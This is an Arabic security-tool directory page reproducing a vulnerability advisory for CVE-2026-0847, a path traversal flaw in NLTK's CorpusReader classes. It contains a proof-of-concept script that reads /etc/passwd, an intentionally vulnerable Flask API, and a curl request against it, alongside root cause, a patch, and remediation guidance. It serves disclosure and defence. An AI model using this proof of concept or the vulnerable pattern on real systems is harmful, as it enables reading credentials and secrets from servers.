Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-0847 — تسمح ثغرة أمنية في إصدارات NLTK حتى الإصدار 3.9.2 وما يشمله بقراءة ملفات عشوائية عبر اجتياز المسار (path traversal) في عدة فئات CorpusReader، بما في ذلك WordListCorpusReader وTaggedCorpusReader وBracketParseCorpusReader. | Kitploit
أدوات/GitHubGitHub/hyperps/cve-2026-0847
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالأوراق والأبحاثالتعلم والتعليم
GitHubhyperps/cve-2026-0847

CVE-2026-0847

تسمح ثغرة أمنية في إصدارات NLTK حتى الإصدار 3.9.2 وما يشمله بقراءة ملفات عشوائية عبر اجتياز المسار (path traversal) في عدة فئات CorpusReader، بما في ذلك WordListCorpusReader وTaggedCorpusReader وBracketParseCorpusReader.

عرض المستودع
1منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-0847 — فئات CorpusReader المتعددة في NLTK: قراءة ملفات تعسفية عبر اجتياز المسار


نظرة عامة

الحقلالتفاصيل
معرف CVECVE-2026-0847
الحزمةnltk (مجموعة أدوات معالجة اللغة الطبيعية)
السجلPyPI
الإصدارات المتأثرة<= 3.9.2
نوع الثغرةCWE-22: اجتياز المسار (Path Traversal)
درجة CVSS8.6 (عالية)
متجه الهجومالشبكة
تعقيد الهجوممنخفض
الصلاحيات المطلوبةلا شيء
تفاعل المستخدملا شيء
تأثير السريةعالي
تأثير النزاهةمنخفض
تأثير التوفرمنخفض
تاريخ الإبلاغ4 ديسمبر 2025
نشر CVE4 مارس 2026
بدعم منPalo Alto Networks / Prisma AIRS
الحالةتم الإصلاح

الوصف

تقبل فئات CorpusReader المتعددة في مكتبة NLTK وسائط مسارات الملفات دون تطبيق أي توحيد للمسار، أو تحقق من القائمة المسموحة، أو قيود عزل (sandbox). عندما يتحكم المهاجم في اسم ملف المجموعة النصية أو إدخال الملف — وهو سيناريو شائع في واجهات برمجة تطبيقات التعلم الآلي، وخطوط معالجة اللغات الطبيعية (NLP) القائمة على الرفع، وخدمات الدردشة الآلية — يمكنه توفير مسار مصمم بعناية لاجتياز التسلسل الهرمي للدلائل وقراءة ملفات عشوائية على الخادم.

تكتسب هذه الثغرة أهمية بالغة في النشرات الشبكية حيث تعالج NLTK مسارات ملفات يتحكم فيها المستخدم، إذ لا يلزم أي مصادقة أو صلاحيات لاستغلالها.


المكونات المتأثرة

ترث الفئات الثلاث جميعها نفس طريقة CorpusReader.open() غير الآمنة، التي لا تجري أي تقييد للمسار قبل حلّ وقراءة معرّف الملف المقدَّم.


التأثير

يمكن أن يؤدي الاستغلال الناجح لهذه الثغرة إلى:

  • قراءة ملفات عشوائية — يمكن للمهاجم قراءة أي ملف يمكن للعملية التي تشغّل NLTK الوصول إليه، بما في ذلك /etc/passwd و /etc/shadow و /var/log/auth.log
  • كشف بيانات الاعتماد والأسرار — يمكن استخراج مفاتيح SSH الخاصة (~/.ssh/id_rsa) وملفات .env ورموز API وملفات بيانات اعتماد السحابة
  • كشف الكود المصدري وبيانات التدريب — قد يُطلَع على بيانات تدريب المستخدمين الآخرين أو الكود المصدري للتطبيقات الاحتكارية
  • تنفيذ التعليمات البرمجية عن بُعد (عبر الربط) — عند دمجها مع ثغرات إلغاء تسلسل pickle، يمكن استخدام اجتياز المسار لتحميل ملفات نماذج خبيثة والتصعيد إلى RCE كاملة
  • الحركة الجانبية — في بيئات الخدمات المصغرة (microservices)، لوحظ أن الأسرار المستخرجة مكّنت من الحركة الجانبية والاختراق الكامل للخادم

إثبات المفهوم

تُقدَّم هذه المعلومات لأغراض تعليمية ودفاعية فقط. لا تختبر أي أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.

قراءة ملف محلي عبر واجهة برمجة التطبيقات المباشرة

root@kitploit:~
# PoC.py — demonstrates arbitrary file read using three vulnerable CorpusReader classes

from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer

root = FileSystemPathPointer("/")   # unrestricted filesystem root
target = "etc/passwd"               # any sensitive file path

print("--- WordListCorpusReader ---")
reader1 = WordListCorpusReader(root, [target])
print(reader1.raw(target)[:200])

print("--- TaggedCorpusReader ---")
reader2 = TaggedCorpusReader(root, [target])
print(reader2.raw(target)[:200])

print("--- BracketParseCorpusReader ---")
reader3 = BracketParseCorpusReader(root, [target])
print(reader3.raw(target)[:200])

المخرجات (مختصرة):

root@kitploit:~
--- WordListCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

--- TaggedCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

--- BracketParseCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

سيناريو الاستغلال عن بُعد — واجهة برمجة تطبيقات Flask قابلة للاستغلال

سيناريو واقعي حيث تُعرَّض NLTK عبر واجهة برمجة تطبيقات HTTP:

root@kitploit:~
# Vulnerable API server
from flask import Flask, request
from nltk.corpus.reader import WordListCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer

app = Flask(__name__)
root = FileSystemPathPointer("/")

@app.post("/read")
def read_file():
    filename = request.json.get("file")
    reader = WordListCorpusReader(root, [filename])
    return reader.raw(filename)

app.run("0.0.0.0", 8000)

طلب المهاجم:

root@kitploit:~
curl -X POST http://TARGET:8000/read \
     -H "Content-Type: application/json" \
     -d '{"file": "etc/passwd"}'

النتيجة: تُعاد محتويات /etc/passwd الكاملة إلى المهاجم دون الحاجة إلى أي مصادقة.


السبب الجذري

ينشأ موطن الخلل في CorpusReader.open(). تحلّ هذه الطريقة fileid المقدَّم مباشرةً مقابل مسار الجذر المكوَّن باستخدام FileSystemPathPointer.join() دون إجراء أي من الفحوصات التالية:

  • رفض المسارات المطلقة
  • اكتشاف اجتياز الدليل الأصلي (..)
  • توحيد المسار ومقارنته لفرض الاحتواء داخل جذر المجموعة النصية

ونظرًا لأن FileSystemPathPointer يمكن تهيئته باستخدام /، فإن المهاجم الذي يتحكم في وسيط اسم الملف يتمتع بوصول قراءة غير مقيد إلى نظام الملفات بأكمله.


التصحيح المقترح

إصلاح أدنى اقترحه الباحث، يُطبَّق داخل CorpusReader.open():

root@kitploit:~
import os

normalized = fileid.replace("\\", "/")

# Block absolute paths
if os.path.isabs(normalized):
    raise ValueError("Absolute paths are not permitted.")

# Block directory traversal sequences
if ".." in normalized.split("/"):
    raise ValueError("Path traversal sequences are not permitted.")

# Enforce confinement within corpus root
joined = self._root.join(normalized)
if not os.path.normpath(joined._path).startswith(
    os.path.normpath(self._root._path)
):
    raise ValueError("Path escapes the corpus root directory.")

طلب السحب (PR) للإصلاح في المستودع الرسمي متاح على: https://github.com/nltk/nltk/pull/3479


المعالجة

الترقية عبر pip:

root@kitploit:~
pip install --upgrade nltk

التحقق من الإصدار المثبت:

root@kitploit:~
python -c "import nltk; print(nltk.__version__)"

الخط الزمني


المراجع


إخلاء المسؤولية

يوثّق هذا المستودع CVE-2026-0847 حصريًا لأغراض تعليمية وبحثية وأمنية دفاعية. يُقدَّم كود إثبات المفهوم والتفاصيل التقنية لمساعدة المطورين ومهندسي الأمن ومسؤولي الأنظمة على فهم هذه الثغرة وتقييمها ومعالجتها.

أي استخدام لهذه المعلومات للوصول إلى أنظمة دون إذن صريح يعد غير قانوني وغير أخلاقي. لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام المعلومات الواردة فيه.

المساهمون @mohitf070304

تنزيل الأداة
الفئةالملفالحالة
WordListCorpusReaderwordlist.py L1–L120قابلة للاستغلال
TaggedCorpusReadertagged.py L1–L140قابلة للاستغلال
BracketParseCorpusReaderbracket_parse.py L1–L150قابلة للاستغلال
فئات أخرى تستخدم نفس النمط الأساسي—بانتظار تدقيق أوسع
الإجراءالتفاصيل
ترقية NLTKالتحديث إلى إصدار أحدث من 3.9.2 فور صدور التصحيح الرسمي
التحقق من المدخلاتتعقيم والتحقق من جميع قيم مسارات الملفات المقدمة من المستخدم قبل تمريرها إلى أي فئة CorpusReader في NLTK
تجنب المسارات التي يتحكم بها المستخدملا تسمح لمدخلات المستخدم بالتحكم المباشر أو غير المباشر في وسيط fileids لأي CorpusReader
الصلاحيات الأقلشغّل الخدمات المبنية على NLTK تحت حساب مستخدم نظام مقيد بوصول قراءة يقتصر على دليل المجموعة النصية فقط
الحاوياتاعزل الخدمة في حاوية Docker أو سجن chroot للحد من نطاق الانفجار في حال نجاح الاجتياز
تصحيح Ubuntuتابع نشرة أمان Ubuntu للحصول على تحديثات الحزم على مستوى التوزيعة
التاريخالحدث
4 ديسمبر 2025الإبلاغ عن الثغرة إلى huntr.dev من قِبل الباحث hyperps1
ديسمبر 2025إخطار فريق صيانة NLTK عبر huntr.dev
يناير 2026تحقق فريق صيانة NLTK من الثغرة؛ ومنح مكافأة الإفصاح للباحث
يناير 2026تعيين CVE-2026-0847
فبراير 2026إرسال تحذير قبل النشر بـ 48 ساعة إلى فريق صيانة NLTK
4 مارس 2026نشر CVE على NVD وhuntr.dev
5 مارس 2026آخر تعديل لسجل NVD
الموردالرابط
إدخال NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-0847
نشرة أمان Ubuntuhttps://ubuntu.com/security/CVE-2026-0847
سجل CVE الرسميhttps://cve.org/CVERecord?id=CVE-2026-0847
تقرير huntr.devhttps://huntr.dev
طلب سحب الإصلاحhttps://github.com/nltk/nltk/pull/3479
NLTK على PyPIhttps://pypi.org/project/nltk/
OWASP: اجتياز المسارhttps://owasp.org/www-community/attacks/Path_Traversal
CWE-22https://cwe.mitre.org/data/definitions/22.html